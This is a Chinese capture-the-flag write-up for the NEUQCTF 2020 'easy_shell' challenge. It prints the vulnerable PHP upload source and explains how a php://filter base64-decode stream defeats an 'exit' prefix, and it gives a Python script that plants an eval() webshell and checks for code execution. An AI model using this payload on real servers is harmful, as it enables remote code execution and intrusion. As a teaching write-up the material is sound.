NEUQCTF 2020_2月赛easy_shell WP

预计阅读时间: < 1 分钟

这次比赛的题出的挺简单的,毕竟都是新生,希望大家在家里的时间不要摸鱼,能学一点知识,就顺手把前几天glzjin师傅出的题的基础知识点拿出来出了道题。。

源码:

<?php
error_reporting(0);
echo "?src=1";
$dir='uploads/';
if (!is_dir($dir)) {
    mkdir($dir,0755);
}
$dir = "uploads/".md5($_SERVER['REMOTE_ADDR']).'/';

if (!is_dir($dir)) {
    mkdir($dir,0755);
}

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
$prefix=$_POST['prefix'];
$name=$_POST['name'];
if(strpos('./',$prefix) or strpos('./',$name)){
    die("?");
}
$filename=$prefix.$dir.$name;
file_put_contents($filename, $content);

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

//flag is in /flag
?>

这道题来自P神的这篇文章
P神写的博客真的没话说。。写的非常清晰,知识也很有深度,大部分可以看原文章,我只在做一个总结。
根据P神文章题目可见,php伪协议的应用是本文的核心知识点。关于常用的伪协议总结,可以看这篇文章
这里不再具体介绍其内容,只说三种常用情形。

一、文件包含读php源码

这种网上文章挺多了,自行百度吧。。。不仔细讲了。

二、php伪协议写Shell。

就是这道题所用到的知识点。具体内容请看
P神博客

三、phar实现反序列化

可见seebug的这篇文章
内容有一定深度,前置科技为PHP反序列化相关知识。

payload:

import requests,base64
a=requests.session()
url="web_url"
params={"txt":"a"+base64.b64encode("<?php echo 123;eval($_REQUEST['roverdoge']); ?>".encode("utf-8")).decode("utf-8"),"prefix":"php://filter/write=convert.base64-decode/resource=","name":"123.php"}
print(a.post(url,params).text)
shell=url+"uploads/"+md5("your_remote_address")+"/123.php"
#print(shell)
if "123" in a.get(shell).text:
    print("getshell!")
else:
    print("error!")

最后的提醒

注意:PHP中伪协议的php://流的解析是在函数(语法结构)中完成的,例如include,file_get_contents(),file_put_contents()等,也就是说不是在服务器传参解析的时候可以利用,程序中本来就存在的也可以利用,这是我之前的一个误区,希望大家能提前了解避免走进误区。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注